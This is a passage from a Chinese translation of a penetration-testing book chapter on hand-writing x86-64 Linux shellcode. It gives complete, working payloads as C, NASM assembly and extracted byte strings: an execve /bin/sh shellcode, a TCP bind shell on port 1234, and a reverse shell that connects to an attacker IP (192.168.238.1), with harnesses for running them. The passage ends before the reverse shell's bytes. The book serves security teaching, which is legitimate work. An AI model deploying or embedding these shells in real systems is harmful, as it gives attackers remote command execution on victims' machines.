渗透测试-Shellcode-二-

120 阅读30分钟

渗透测试 Shellcode(二)

原文:annas-archive.org/md5/490B2CAE1041BE44E9F980C77B842689

译者:飞龙

协议:CC BY-NC-SA 4.0

第五章:创建 Shellcode

让我们准备好深入研究这个话题,我们将利用到目前为止学到的知识来创建简单的、完全定制的 shellcode。当我们面对坏字符并找到去除它们的方法时,这将变得更加有趣。接下来,我们将看到如何创建高级的 shellcode,并使用 Metasploit Framework 自动创建我们的 shellcode。

以下是本章将涵盖的主题:

  • 基础知识和坏字符

  • 相对地址技术

  • execve 系统调用

  • 绑定 TCP shell

  • 反向 TCP shell

  • 使用 Metasploit 生成 shellcode

基础知识

首先,让我们从 shellcode 是什么开始。正如我们之前已经看到的,shellcode 是一种可以作为有效载荷注入到堆栈溢出攻击中的机器码,可以从汇编语言中获得。

所以我们要做的很简单:将我们希望 shellcode 执行的操作以汇编形式写下来,然后进行一些修改,并将其转换为机器码。

让我们尝试制作一个 hello world 的 shellcode,并将可执行形式转换为机器码。我们需要使用objdump命令:

$ objdump -D -M intel hello-world

上述命令的输出如下截图所示:

你看到红色矩形框里面的是什么?这是我们 hello world 示例的机器码。但是我们需要将它转换成这种形式:\xff\xff\xff\xff,其中ff代表操作码。你可以手动逐行进行转换,但这可能有点乏味。我们可以使用一行代码自动完成:

$ objdump -M intel -D FILE-NAME | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

让我们尝试用我们的代码:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s 

上述命令的输出如下截图所示:

这是我们的机器语言:

\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a

接下来,我们可以使用以下代码来测试我们的机器:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";

int main()
{
   printf("Shellcode Length: %d\n", (int)strlen(code));
   int (*ret)() = (int(*)())code;
   ret();
}

让我们编译并运行它:

$ gcc -fno-stack-protector -z execstack hello-world.c 

$ ./a.out

上述命令的输出如下截图所示:

你可以从上面的输出中看到,我们的 shellcode 没有起作用。原因是其中有坏字符。这让我们进入下一节,讨论如何去除它们。

坏字符

坏字符是指可以破坏 shellcode 执行的字符,因为它们可能被解释为其他东西。

例如,考虑\x00,它表示零值,但它将被解释为空终止符,并用于终止一个字符串。现在,为了证明这一点,让我们再看一下之前的代码:

"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";

当我们尝试执行它时,我们得到一个错误,Shellcode Length: 14。如果你看第 15 个操作码,你会看到\x00,它被解释为空终止符。

以下是坏字符的列表:

  • 00:这是零值或空终止符(\0

  • 0A:这是换行符(\n

  • FF:这是换页符(\f

  • 0D:这是回车符(\r

现在,如何从我们的 shellcode 中删除这些坏字符呢?实际上,我们可以使用我们在汇编中已经知道的知识来删除它们,比如选择一个寄存器的哪一部分应该取决于移动数据的大小。例如,如果我想将一个小值(比如15)移动到 RAX,我们应该使用以下代码:

mov al, 15

或者,我们可以使用算术运算,例如将15移动到 RAX 寄存器:

xor rax, rax
add rax, 15

让我们逐条查看我们的机器码:

第一条指令是mov rax, 1,它包含0,因为我们试图将1字节(8 位)移动到 64 位寄存器。所以它会用零填充剩下的部分,我们可以使用mov al, 1来修复这个问题,这样我们就将1字节(8 位)移动到了 RAX 寄存器的 8 位部分;让我们确认一下:

global _start

section .text

_start:
    mov al, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

    mov rax, 60
    mov rdi, 1
    syscall

section .data
    hello_world: db 'hello world',0xa
    length: equ $-hello_world

现在,运行以下命令:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

上述命令的输出如下截图所示:

我们成功从第一条指令中删除了所有的坏字符。让我们尝试另一种方法,使用算术运算,比如加法或减法。

首先,我们需要使用xor指令清除寄存器,xor rdi, rdi。现在 RDI 寄存器包含零;我们将其值加1add rdi, 1

global _start

section .text

_start:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

    mov rax, 60
    mov rdi, 1
    syscall

section .data
    hello_world: db 'hello world',0xa
    length: equ $-hello_world

现在运行以下命令:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

上一个命令的输出显示在以下截图中:

我们也修复了这个。让我们修复所有这些,把移动hello world字符串留到下一节:

global _start

section .text

_start:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    mov rsi, hello_world
    xor rdx,rdx
    add rdx,12 
    syscall

  xor rax,rax
  add rax,60
  xor rdi,rdi
  syscall

section .data
    hello_world: db 'hello world',0xa

现在运行以下命令:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

上一个命令的输出显示在以下截图中:

我们设法从我们的 shellcode 中删除了所有的坏字符,这让我们需要处理在复制字符串时的地址。

相对地址技术

相对地址是相对于 RIP 寄存器的当前位置,相对值是一种非常好的技术,可以避免在汇编中使用硬编码地址。

我们怎么做到的?实际上,通过使用lea <destination>, [rel <source>],这个rel指令将计算相对于 RIP 寄存器的源地址,这样做变得非常简单。

我们需要在代码本身之前定义我们的变量,这样就必须在 RIP 当前位置之前定义它;否则,它将是一个短值,寄存器的其余部分将填充为零,就像这样:

现在,让我们使用这种技术修改我们的 shellcode 来修复hello world字符串的位置:

global _start

section .text

_start:
    jmp code
    hello_world: db 'hello world',0xa

code:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    lea rsi, [rel hello_world]
    xor rdx,rdx
    add rdx,12 
    syscall

    xor rax,rax
    add rax,60
    xor rdi,rdi
    syscall

现在运行以下命令:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

上一个命令的输出显示在以下截图中:

一点坏字符都没有!让我们尝试它作为一个 shellcode:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

上一个命令的输出显示在以下截图中:

现在让我们尝试使用我们的 C 代码编译并运行这个 shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\xeb\x0c\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x8d\x35\xe4\xff\xff\xff\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";

int main()
{

    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();

}

现在运行以下命令:

$ gcc -fno-stack-protector -z execstack hello-world.c

$ ./a.out

上一个命令的输出显示在以下截图中:

成功了!现在,这是我们的第一个 shellcode。

让我们继续看看如何处理地址的更多技巧。

jmp-call 技术

现在,我们将讨论如何处理字符串地址的新技术,即jmp-call技术。

这种技术简单地首先使jmp指令到我们想要移动到特定寄存器的字符串。之后,我们使用call指令调用实际的代码,将字符串的地址推入堆栈,然后我们将地址弹出到那个寄存器中。看看下一个例子,完全理解这种技术:

global _start

section .text

_start:
    jmp string

code:
    pop rsi
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    xor rdx,rdx
    add rdx,12 
    syscall

    xor rax,rax
    add rax,60
    xor rdi,rdi
    syscall

string:
    call code
    hello_world: db 'hello world',0xa

现在运行以下命令:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

上一个命令的输出显示在以下截图中:

没有坏字符;现在让我们回顾一下我们做了什么。首先,我们执行了一个jmp指令到字符串,然后我们使用call指令调用了实际的代码,这将导致下一条指令被推入堆栈;让我们在 GDB 中看看这段代码:

$ gdb ./hello-world

$ set disassembly-flavor intel

$ break _start

$ run

$ stepi

上一个命令的输出显示在以下截图中:

下一条指令是使用call code指令调用代码。注意堆栈中将会发生什么:

hello world字符串的地址被推入堆栈,下一条指令是pop rsi,它将hello world字符串的地址从堆栈移动到 RSI 寄存器。

让我们尝试将其作为一个 shellcode:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s 

上一个命令的输出显示在以下截图中:

在 C 代码中实现相同的操作:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\xeb\x1f\x5e\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdc\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

让我们编译并运行它:

$ gcc -fno-stack-protector -z execstack hello-world.c

$ ./a.out

上一个命令的输出显示在以下截图中:

堆栈技术

在这里,我们将学习另一种使用堆栈处理地址的技术。这很简单,但我们有两个障碍。首先,我们只允许一次将 4 个字节推入堆栈的操作——我们将使用寄存器来帮助我们。其次,我们必须以相反的顺序将字符串推入堆栈——我们将使用 Python 来为我们做这件事。

让我们尝试解决第二个障碍。使用 Python,我将定义string = 'hello world\n',然后我将反转我的字符串,并使用string[::-1].encode('hex')一行将其编码为hex。接下来,我们将得到我们的反向编码字符串:

完成!现在,让我们尝试解决第一个障碍:

global _start

section .text
_start:

    xor rax, rax
    add rax, 1
    mov rdi, rax
    push 0x0a646c72
    mov rbx, 0x6f57206f6c6c6548
    push rbx
    mov rsi, rsp
    xor rdx, rdx
    add rdx, 12
    syscall

    xor rax, rax
    add rax, 60 
    xor rdi, rdi 
    syscall

首先,我们将 8 个字节推入堆栈。我们可以将其余的内容分成 4 字节推入堆栈的每个操作,但我们也可以使用寄存器一次移动 8 个字节,然后将该寄存器的内容推入堆栈:

$ nasm -felf64 hello-world.nasm -o hello-world.o

$ ld hello-world.o -o hello-world

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

上一个命令的输出显示在以下截图中:

让我们尝试将其用作 shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x68\x72\x6c\x64\x0a\x48\xbb\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x53\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

现在运行以下命令:

$ gcc -fno-stack-protector -z execstack hello-world.c

$ ./a.out

上一个命令的输出显示在以下截图中:

这也很容易。

在下一节中,我们将讨论如何使用execve系统调用制作有用的 shellcode。

execve 系统调用

现在,我们将学习如何使用execve制作有用的 shellcode。在继续之前,我们必须了解execve系统调用是什么。它是一个用于执行程序或脚本的系统调用。让我们以使用 C 语言读取/etc/issue文件的execve的示例来说明。

首先,让我们看一下execve的要求:

$ man 2 execve

上一个命令的输出显示在以下截图中:

正如它所说,第一个参数是我们要执行的程序。

第二个参数argv是指向与我们要执行的程序相关的参数数组的指针。此外,argv应该包含程序的名称。

第三个参数是envp,其中包含我们想要传递给环境的任何参数,但我们可以将此参数设置为NULL

现在,让我们构建 C 代码来执行cat /etc/issue命令:

#include <unistd.h>

int main()
{
    char * const argv[] = {"cat","/etc/issue", NULL};
    execve("/bin/cat", argv, NULL);
    return 0;
}

让我们编译并运行它:

$ gcc execve.c

$ ./a.out

上一个命令的输出显示在以下截图中:

它给了我们/etc/issue文件的内容,即Kali GNU/Linux Rolling \n \l

现在,让我们尝试使用execve系统调用在汇编中执行/bin/sh。在这里,我将使用堆栈技术;让我们一步一步地完成这段代码:

 char * const argv[] = {"/bin/sh", NULL};
 execve("/bin/sh", argv, NULL);
 return 0;

首先,我们需要在堆栈中使用NULL作为分隔符。然后,我们将堆栈指针移动到 RDX 寄存器,以获取我们的第三个参数:

xor rax, rax
push rax
mov rdx, rsp

然后,我们需要将我们的路径/bin/sh推入堆栈中,由于我们只有七个字节,而且我们不希望我们的代码中有任何零,让我们推入//bin/sh/bin//sh。让我们反转这个字符串,并使用 Python 将其编码为hex

string ='//bin/sh'
string[::-1].encode('hex')

上一个命令的输出显示在以下截图中:

现在我们的字符串准备好了,让我们使用任何寄存器将其推入堆栈,因为它包含 8 个字节:

mov rbx, 0x68732f6e69622f2f
push rbx

让我们将 RSP 移动到 RDI 寄存器,以获取我们的第一个参数:

mov rdi, rsp

现在,我们需要推入另一个NULL作为字符串分隔符,然后我们需要通过推入 RDI 内容(即我们字符串的地址)将一个指针推入堆栈。然后,我们将堆栈指针移动到 RDI 寄存器,以获取第二个参数:

push rax
push rdi 
mov rsi,rsp 

现在,所有我们的参数都准备好了;让我们获取execve系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve

上一个命令的输出显示在以下截图中:

execve系统调用号是59

add rax, 59
syscall

让我们把我们的代码放在一起:

global _start

section .text

_start:
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

现在运行以下命令:

$ nasm -felf64 execve.nasm -o execve.o
$ ld execve.o -o execve $ ./execve

上一个命令的输出显示在以下截图中:

让我们将其转换为 shellcode:

$ objdump -M intel -D execve | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

上一个命令的输出显示在以下截图中:

我们将使用 C 代码来注入我们的 shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

现在运行以下命令:

$ gcc -fno-stack-protector -z execstack execve.c

$ ./a.out

上一个命令的输出显示在以下截图中:

TCP 绑定 shell

现在,让我们进一步做一些真正有用的事情,即构建一个 TCP 绑定 shell。

TCP 绑定 shell 用于在一台机器(受害者)上设置服务器,并且该服务器正在等待来自另一台机器(攻击者)的连接,这允许另一台机器(攻击者)在服务器上执行命令。

首先,让我们看一下 C 语言中的绑定 shell,以了解它是如何工作的:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
{
  int clientfd, sockfd;
  int port = 1234;
  struct sockaddr_in mysockaddr;

  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  mysockaddr.sin_family = AF_INET; //--> can be represented in
  numeric  as 2
  mysockaddr.sin_port = htons(port);
  mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented
  in  numeric as 0 which means to bind to all interfaces

  bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

  listen(sockfd, 1);

  clientfd = accept(sockfd, NULL, NULL);

  dup2(clientfd, 0);
  dup2(clientfd, 1);
  dup2(clientfd, 2);
  char * const argv[] = {"sh",NULL, NULL};
  execve("/bin/sh", argv, NULL);
  return 0;
}

让我们把它分解成几部分来理解它是如何工作的:

sockfd = socket(AF_INET, SOCK_STREAM, 0);

首先,我们创建了一个套接字,它需要三个参数。第一个参数是定义协议族,即AF_INET,代表 IPv4,可以用2来表示。第二个参数是指定连接的类型,在这里,SOCK_STREAM代表 TCP,可以用1来表示。第三个参数是协议,设置为0,告诉操作系统选择最合适的协议来使用。现在让我们找到socket系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep socket

上述命令的输出显示在以下截图中:

从获得的输出中,socket系统调用号是41

让我们在汇编中创建第一部分:

xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall

输出值,即sockfd,将被存储在 RAX 寄存器中;让我们将其移到 RDI 寄存器中:

mov rdi, rax

现在到下一部分,即填充mysockaddr结构以作为bind函数的输入:

 sockfd = socket(AF_INET, SOCK_STREAM, 0);
 mysockaddr.sin_family = AF_INET;
 mysockaddr.sin_port = htons(port);
 mysockaddr.sin_addr.s_addr = INADDR_ANY;

我们需要以指针的形式;而且,我们必须以相反的顺序推送到堆栈。

首先,我们推送0来表示绑定到所有接口(4 字节)。

其次,我们以htons形式推送端口(2 字节)。要将我们的端口转换为htons,我们可以使用 Python:

这是我们的端口(1234)以htons形式(0xd204)。

第三,我们推送值2,表示AF_INET(2 字节):

xor rax, rax 
push rax
push word 0xd204
push word 0x02

有了我们的结构设置,让我们准备bind函数:

bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

bind函数需要三个参数。第一个是sockfd,已经存储在 RDI 寄存器中;第二个是我们的结构以引用的形式;第三个是我们结构的长度,即16。现在剩下的是获取bind系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep bind

上述命令的输出显示在以下截图中:

从上述截图中,我们可以看到bind系统调用号是49;让我们创建bind系统调用:

mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall

现在,让我们设置listen函数,它需要两个参数:

listen(sockfd, 1);

第一个参数是sockfd,我们已经将其存储在 RDI 寄存器中。第二个参数是一个数字,表示服务器可以接受的最大连接数,在这里,它只允许一个。

现在,让我们获取listen系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep listen

上述命令的输出显示在以下截图中:

现在,让我们构建bind系统调用:

xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi 
syscall

我们将继续下一个函数,即accept

 clientfd = accept(sockfd, NULL, NULL);

accept函数需要三个参数。第一个是sockfd,同样,它已经存储在 RDI 寄存器中;我们可以将第二个和第三个参数设置为零。让我们获取accept系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep accept

上述命令的输出显示在以下截图中:

xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall

accept函数的输出,即clientfd,将被存储在 RAX 寄存器中,所以让我们把它移到一个更安全的地方:

mov rbx, rax

执行dup2系统调用:

 dup2(clientfd, 0);
 dup2(clientfd, 1);
 dup2(clientfd, 2);

现在,我们将执行它三次,将我们的文件描述符复制到stdinstdoutstderr,分别为(011)。

dup2系统调用需要两个参数。第一个参数是旧文件描述符,在我们的情况下是clientfd。第二个参数是我们的新文件描述符(012)。现在,让我们获取dup2系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep dup2

上述命令的输出显示在以下截图中:

现在,让我们构建dup2系统调用:

mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

然后,我们添加我们的execve系统调用:

char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;

xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

现在,一切都准备就绪;让我们把所有的部分放在一起写成一段代码:

global _start

section .text

_start:

;Socket syscall
    xor rax, rax
    add rax, 41
    xor rdi, rdi
    add rdi, 2
    xor rsi, rsi
    inc rsi
    xor rdx, rdx
    syscall

; Save the sockfd in RDI Register 
    mov rdi, rax

;Creating the structure 
    xor rax, rax 
    push rax
    push word 0xd204
    push word 0x02
;Bind syscall
    mov rsi, rsp
    xor rdx, rdx
    add rdx, 16
    xor rax, rax
    add rax, 49
    syscall

;Listen syscall
    xor rax, rax
    add rax, 50
    xor rsi , rsi
    inc rsi
    syscall

;Accept syscall
    xor rax , rax
    add rax, 43
    xor rsi, rsi
    xor rdx, rdx
    syscall

;Store clientfd in RBX register 
    mov rbx, rax

;Dup2 syscall to stdin
    mov rdi, rbx
    xor rax,rax
    add rax, 33
    xor rsi, rsi
    syscall

;Dup2 syscall to stdout
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Dup2 syscall to stderr
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Execve syscall with /bin/sh
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

让我们汇编和链接它:

$ nasm -felf64 bind-shell.nasm -o bind-shell.o
$ ld bind-shell.o -o bind-shell

让我们将其转换为 shellcode:

$ objdump -M intel -D bind-shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

上述命令的输出显示在以下截图中:

让我们将其注入到我们的 C 代码中:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc3\x48\x89\xdf\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

让我们编译并运行它:

$ gcc -fno-stack-protector -z execstack bind-shell.c

$ ./a.out

前面命令的输出显示在以下截图中:

现在我们的 shellcode 已经在工作并等待;让我们确认一下:

$ netstat -ntlp

前面命令的输出显示在以下截图中:

它现在在端口 1234 上监听;现在,从另一个终端窗口,启动 nc

$ nc localhost 1234

前面命令的输出显示在以下截图中:

现在,它已连接并等待我们的命令;让我们试试:

$ cat /etc/issue

前面命令的输出显示在以下截图中:

现在我们有了我们的第一个真正的 shellcode!

反向 TCP shell

在本节中,我们将创建另一个有用的 shellcode,即反向 TCP shell。反向 TCP shell 是绑定 TCP 的相反,因为受害者的机器再次建立与攻击者的连接。

首先,在 C 代码中让我们看一下它:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h> 

int main(void)
{
    int sockfd;
    int port = 1234;
    struct sockaddr_in mysockaddr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    mysockaddr.sin_family = AF_INET;
    mysockaddr.sin_port = htons(port);
    mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");

    connect(sockfd, (struct sockaddr *) &mysockaddr,
    sizeof(mysockaddr));

    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
    return 0;
}

首先,我们将在我们的受害者机器之一(Ubuntu)上编译并执行它。我们将在攻击机器(Kali)上设置一个监听器,然后 shell 将从 Ubuntu 连接回 Kali,通过在代码中添加 Kali 的 IP。

在 Kali 上使用 nc 命令或 netcat 工具设置一个监听器:

$ nc -lp 1234

在 Ubuntu 上,让我们编译并运行我们的 reverse-tcp shellcode:

$ gcc reverse-tcp.c -o reverse-tcp
$ ./reverse-tcp

再次回到我的 Kali —— 我连接上了!

这就是简单的!

现在,让我们在汇编中构建一个反向 TCP shell,然后将其转换为一个 shellcode。

socket 函数与我们在绑定 TCP 中解释的一样。将 socket 的输出移动到 RDI 寄存器中:

xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall

mov rdi, rax

接下来是填充 mysockaddr 结构,除了我们必须以 32 位打包格式推出攻击者的 IP 地址。我们将使用 Python 来做到这一点:

所以我们的 IP 地址以 32 位打包格式是 01eea8c0

让我们构建我们的结构并将栈指针移动到 RSI:

xor rax, rax 
push dword 0x01eea8c0
push word 0xd204
push word 0x02

mov rsi, rsp

现在,让我们构建 connect 函数:

 connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

然后,运行以下命令:

$ man 2 connect

前面命令的输出显示在以下截图中:

connect 函数也接受三个参数。第一个参数是 sockfd(来自 socket 函数的输出),存储在 RDI 寄存器中。第二个是我们结构的引用,存储在 RSI 寄存器中。第三个参数是我们结构的大小。

让我们获取 connect 系统调用号:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep connect

前面命令的输出显示在以下截图中:

从获得的输出中,我们可以看到系统调用号是 42。现在,让我们构建 connect 系统调用:

xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall

现在,dup2 函数与之前的相同,只是第一个参数将是 sockfd,它已经存储在 RDI 寄存器中;让我们也构建它:

xor rax,rax
add rax, 33
xor rsi, rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

现在是最后一部分,即 /bin/shexecve 系统调用:

xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

现在,让我们把它们打包在一起:

global _start

section .text

_start:

;Socket syscall
    xor rax, rax
    add rax, 41
    xor rdi, rdi
    add rdi, 2
    xor rsi, rsi
    inc rsi
    xor rdx, rdx
    syscall

; Save the sockfd in RDI Register
    mov rdi, rax

;Creating the structure
    xor rax, rax 
    push dword 0x01eea8c0
    push word 0xd204
    push word 0x02

;Move stack pointer to RSI
    mov rsi, rsp

;Connect syscall
    xor rdx, rdx
    add rdx, 16
    xor rax, rax
    add rax, 42
    syscall

;Dup2 syscall to stdin
    xor rax,rax
    add rax, 33
    xor rsi, rsi
    syscall

;Dup2 syscall to stdout
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Dup2 syscall to stderr
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Execve syscall with /bin/sh
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

让我们将其汇编和链接到我们的受害者机器上:

$ nasm -felf64 reverse-tcp.nasm -o reverse-tcp.o
$ ld reverse-tcp.o -o reverse-tcp

然后,在我们的攻击者机器上运行以下命令:

$ nc -lp 1234

然后,再回到我们的受害者机器并运行我们的代码:

$ ./reverse-tcp

然后,在我们的攻击者机器上,我们连接到了受害者机器(Ubuntu):

现在,让我们将其转换为一个 shellcode:

$ objdump -M intel -D reverse-tcp | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

前面命令的输出显示在以下截图中:

让我们将这个机器语言复制到我们的 C 代码中:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

